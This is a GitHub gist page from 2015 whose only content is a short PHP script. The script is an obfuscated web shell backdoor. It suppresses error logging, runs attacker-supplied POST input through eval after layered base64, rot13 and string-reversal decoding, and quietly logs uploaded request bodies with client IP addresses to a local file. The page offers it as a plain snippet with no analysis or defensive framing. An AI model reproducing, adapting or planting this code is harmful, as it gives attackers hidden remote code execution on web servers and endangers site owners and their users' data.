Skip to content

Instantly share code, notes, and snippets.

@newbiethetest
Created March 20, 2015 07:54
Show Gist options
  • Save newbiethetest/f053f848e6d0e49d97c7 to your computer and use it in GitHub Desktop.
Save newbiethetest/f053f848e6d0e49d97c7 to your computer and use it in GitHub Desktop.
<?php
@error_reporting(0);
@ini_set("display_errors",0);
@ini_set("log_errors",0);
@ini_set("error_log",0);
if (isset($_GET['r'])) { print $_GET['r']; } elseif (isset($_POST['e'])) { eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e']))))));
} elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary')
{ $data = file_get_contents('php://input'); if (strlen($data) > 0) print 'STATUS-IMPORT-OK'; if (strlen($data) > 12) { $fp=@fopen('tmpfile','a');
@flock($fp, LOCK_EX);
@fputs($fp, $_SERVER['REMOTE_ADDR']."\t".base64_encode($data)."\r\n");
@flock($fp, LOCK_UN); @fclose($fp);
} }
exit;
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment